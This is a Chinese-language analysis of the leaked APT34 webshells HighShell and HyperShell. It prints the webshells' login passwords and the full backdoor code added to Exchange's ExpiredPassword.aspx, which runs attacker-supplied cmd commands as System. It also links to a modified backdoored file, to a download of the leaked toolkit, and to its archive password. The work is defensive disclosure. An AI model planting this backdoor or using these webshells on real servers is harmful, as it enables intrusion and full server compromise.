對APT34泄露工具的分析——HighShell和HyperShell

0x00 前言

最近APT34的6款工具被泄露,本文作爲分析文章的第二篇(第一篇文章回顧),僅在技術角度對其中的HighShell和HyperShell進行分析。

參考資料:

https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 簡介

本文將要介紹以下內容:

· 對HighShell的分析

· 對HyperShell的分析

· 小結

0x02 對HighShell的分析

對應泄露文件的名稱爲Webshells_and_Panel中的HighShell。

其中的文件爲HighShell.aspx,是針對Windows服務器的webshell。

默認訪問頁面如下圖:

Alt text

Login框爲紅色,需要輸入連接口令。

正確的口令爲Th!sN0tF0rFAN。

輸入正確的口令後,點擊Do it,刷新頁面,成功登錄,如下圖:

Alt text

Login框變爲綠色。

該工具的公開線索:

https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

HighShell同paloaltonetworks在文中提到的TwoFace的頁面相同。

0x03 對HyperShell的分析

對應泄露文件的名稱爲Webshells_and_Panel中的HyperShell。

下面包含7個文件夾:

· ExpiredPasswordTech

· HyperShell

· Image

· Libraries

· packages

· ShellLocal

· StableVersion

1.ExpiredPasswordTech

包括3個文件:

· error4.aspx,功能與HighShell.aspx相同,但登錄口令未知

· ExpiredPassword.aspx,適用於Exchange的webshell

· MyMaster.aspx,生成字符串:NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a

2.HyperShell

包含多個文件,是各個webshell的源碼文件。

其中包含另一個可用的webshell,相對路徑:.\Webshells_and_Panel\HyperShell\HyperShell\Shell\simple.aspx

連接口令:MkRg5dm8MOk。

如下圖:

Alt text

3.Image

圖片文件夾。

4.Libraries

包含多個依賴文件。

5.packages

包含多個依賴文件。

6. ShellLocal

空文件夾。

7. StableVersion

穩定版本,包含多個webshell。

(1)ExpiredPassword.aspx

適用於Exchange的webshell。

相對路徑:.\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ExpiredPasswordTech

與相對路徑.\Webshells_and_Panel\HyperShell\ExpiredPasswordTech下的文件內容相同。

ExpiredPassword.aspx是Exchange正常的功能,對應重置用戶口令的頁面,如下圖:

Alt text

訪問的URL:https://<domain>/owa/auth/ExpiredPassword.aspx

對應Windows絕對路徑:C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ExpiredPassword.aspx

該路徑下的webshell默認權限爲System

我的測試系統安裝了Exchange2013,正常的ExpiredPassword.aspx源碼我已經上傳至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)

HyperShell中的ExpiredPassword.aspx是一個添加了後門代碼的文件,同我測試環境的正常ExpiredPassword.aspx文件相比有多處不同,如下圖:

Alt text

經過分析發現有可能是Exchange版本差異導致的,忽略版本差異,HyperShell中的ExpiredPassword.aspx主要添加了如下代碼:

              <%

                    try{

                    if (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form["newPwd1"])) + "[email protected]#!%FS"))) == "+S6Kos9D/etq1cd///fgTarVnUQ=")

                    {

                        System.Diagnostics.Process p = new System.Diagnostics.Process();

                        System.Diagnostics.ProcessStartInfo i = p.StartInfo;

                        i.FileName = "cmd";

                        i.Arguments = "/c " + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form["newPwd2"]));

                        i.UseShellExecute = false;

                        i.CreateNoWindow = true;

                        i.RedirectStandardOutput = true;

                        p.Start();

                        string r = p.StandardOutput.ReadToEnd();

                        p.WaitForExit();

                        p.Close();

                        Response.Write("<pre>" + Server.HtmlEncode(r) + "</pre>");

                        Response.End();

                    }}catch{}

                %>

對應到我的測試環境,也就是Exchange2013,添加payload後的代碼已上傳至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)(HyperShell)

使用方法如下圖:

Alt text

New password項對應登錄webshell的驗證口令,驗證通過後會執行Confirm new password項的內容,權限爲System。

泄露的文件中未提到webshell的驗證口令,爲了驗證該後門,我們修改代碼去掉登錄webshell的驗證環節即可。

(2)HighShellLocal

功能強大的webshell。

相對路徑:.\Webshells_and_Panel\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ShellLocal\StableVersions\ShellLocal-v8.8.5.rar

解壓到當前目錄,相對路徑爲.\ShellLocal-v8.8.5\ShellLocal-v8.8.5\HighShellLocal,包括以下文件:

· 文件夾css

· 文件夾files

· 文件夾js

· HighShellLocal.aspx

實際使用時,還需要.\ShellLocal-v8.8.5\ShellLocal-v8.8.5\下的bin文件夾,否則提示無法使用Json。

完整結構如下:

│ HighShellLocal.aspx │ ├───bin │ Newtonsoft.Json.dll │ ├───css │ │ main.css │ │ │ └───img │ box-zipper.png │ download-cloud.png │ exclamation-diamond.png │ heart-break.png │ heart-empty.png │ heart.png │ minus-button.png │ ├───files │ 7za.exe │ nbt.exe │ rx.exe │ └───js │ explorer.js │ main.js │ send.js │ utility.js │ ├───components │

├───jquery │

└───semantic

登錄口令:Th!sN0tF0rFAN

登錄頁面如下圖:

Alt text

輸入正確的登錄口令後,如下圖:

Alt text

可以看到該webshell支持多個功能。

0x04 小結

本文對泄露文件中的HighShell和HyperShell進行了分析,其中HyperShell中的ExpiredPassword.aspx是一個比較隱蔽的webshell,目前爲止我還未在公開資料中找到這種利用方法。

原文地址:https://paper.tuisec.win/detail/8dceba66a1b9de8

 

目前所泄露所有內容打包下載地址:

https://download.csdn.net/download/eagle_pompom/11144244

解壓密碼:vJrqJeJo2n005FF*

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章